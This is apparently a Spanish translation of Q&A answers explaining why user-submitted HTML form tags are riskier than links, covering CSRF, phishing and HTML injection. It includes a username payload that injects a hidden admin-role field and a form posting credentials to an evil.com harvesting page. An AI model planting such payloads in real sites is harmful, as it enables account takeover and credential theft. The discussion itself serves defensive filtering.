¿Es una etiqueta de formulario HTML más explotable que un enlace HTML en el contenido enviado por el usuario?

Sí, lo es. Por cuánto, y si está bien que usted permita los formularios, depende de su situación específica.

CSRF con controles de referencia

Si su protección CSRF depende de las verificaciones del referidor, no de un token, permitir formularios significa que sería vulnerable a CSRF.

Al rechazar los scripts, una víctima aún tendría que hacer clic en el formulario, pero eso puede lograrse a través de la ingeniería social o tal vez de ClickJacking.

Por ejemplo, un atacante podría colocar un botón de PayPal, que en realidad agregaría un nuevo usuario administrador, con la esperanza de que haga clic en él.

Por supuesto, esto también es posible con enlaces, pero solo para solicitudes GET, no para solicitudes POST.

CSRF con formularios existentes

Parece que su filtro es un filtro general, que filtra todas las etiquetas posiblemente peligrosas. Pero hay situaciones específicas en las que definitivamente no desea etiquetas de formulario, por ejemplo, cuando se hace eco de la entrada del usuario dentro de los formularios.

Si, por ejemplo, tiene un formulario de edición de usuario como este en el backend del administrador:

<form action="admin_user_edit.php">
    <input type="text" name="csrf-token" value="[CSRF token]">
    <input type="text" name="password" value="[value from database]">
    <input type="text" name="username" value="[value from database]">
    <input type="text" name="role" value="[value from database]">
    <input type="submit" value="Submit">
</form> 

Ahora, un usuario podría llamarse foobar"><input type="hidden" name="role" value="admin"><input type="submit" value="Submit"></form> . Si ahora consiguen que el administrador edite su perfil, serían administradores, sin que el administrador quiera hacerlos administradores.

Phishing

También se podría usar un formulario para ataques de phishing. De nuevo, esto depende del contexto específico en el que se coloque su entrada de usuario, pero en teoría, un atacante podría, por ejemplo, mostrar un formulario solicitando las credenciales de inicio de sesión, los detalles de la tarjeta de crédito, etc., y luego enviarlos a su propio servidor.

La esperanza es que la víctima no interprete el formulario como información del usuario, sino como parte de su sitio web.

Un formulario es más peligroso porque oculta más cosas al usuario que un simple enlace y puede hacer cosas diferentes.

  

elimina automáticamente cualquier etiqueta de script, eventos de clic y básicamente cualquier Javascript

Supongo que eso significa que también elimina los enlaces javascript:... . Por lo tanto, los únicos enlaces que un atacante puede producir son simples solicitudes GET, que entre otras, se muestran claramente al usuario, tanto al pasar el mouse como en el campo de la dirección después de hacer clic (suponiendo que el navegador haga eso; los míos están configurados para hacerlo). así).

Un formulario puede usar métodos arbitrarios (POST, etc.) e incluir contenido oculto arbitrario. El campo de dirección, después del envío, solo verá la parte de la acción y ni siquiera se dará cuenta de que envió más datos, abriendo muchas más formas de hacer trampa.

Un ataque muy simple con un formulario sería mostrar una página de inicio de sesión falsa (solo necesita un formato inocuo) con una acción que lleve a un sitio web del atacante. Al usuario no técnico solo le molestará que el foro solicite otro inicio de sesión ("¡argh! ¡Ya inicié sesión 3 veces, ¿por qué otra vez ?!"), ingresará sus credenciales, que se entregarán de inmediato al atacante. Se pueden imaginar escenarios más involucrados.

Considerar POST y GET

Un enlace permite la solicitud GET cuando se hace clic. Un formulario permite las solicitudes GET o POST cuando se envía. Todas las solicitudes de GET que se pueden hacer con un formulario también se pueden hacer con un enlace y viceversa, por lo que la funcionalidad adicional que permite el formulario son las solicitudes de POST .

Suponiendo que las personas se adhieren a las intenciones de los verbos HTTP, las solicitudes POST cambian el estado del servidor, mientras que una solicitud GET simplemente obtiene información. POST solicita y, por lo tanto, las formas son inherentemente más riesgosas.

Una buena razón para filtrar formularios, pero no enlaces, es que existen razones legítimas obvias para permitir que el usuario de CMS incluya enlaces en las páginas, pero los usos legítimos de los formularios son más casos extremos. Filtrar subconjuntos de HTML es difícil, y es fácil equivocarse o perder algo, por lo que no es una mala idea rechazar todo lo que no es obviamente nececarry. ”

Riesgos con formularios

Tim ya ha cubierto dos de las principales preocupaciones: CSRF y phishing - en esta respuesta así que no repetiré eso aquí. Agregaré un tercero: inyección de HTML . Echa un vistazo a este ejemplo:

<!-- Beginning of user generated content. -->
This is a normal webpage. Nothing fishy going on, I promise.
<form name="attack" method="post" action="http://evil.com/harvestpasswords.php">
<!-- End of user generated content. -->
<!-- Start of static HTML of page. -->
<div id="footer">
  <form name="login" method="post" action="login.php">
     <!-- A normal login form here. -->
  </form>
</div>

En efecto, el formulario de inicio de sesión normal ahora se anidará dentro del formulario de ataque. Esto hará que el navegador ignore la etiqueta de formulario interna (ya que no se permiten formularios anidados) y, por lo tanto, el formulario se enviará a la página de los atacantes.

Dependiendo de la estructura de su HTML en su página, este tipo de ataque podría no funcionar. Pero ¿por qué correr el riesgo?

Riesgos con enlaces

Un enlace también permite la ejecución de scripts con protocolos como href="javascript:..." y href="vbscript:..." . Para evitar el infierno de XSS, necesita una lista blanca con los protocolos permitidos (la lista negra no sirve aquí).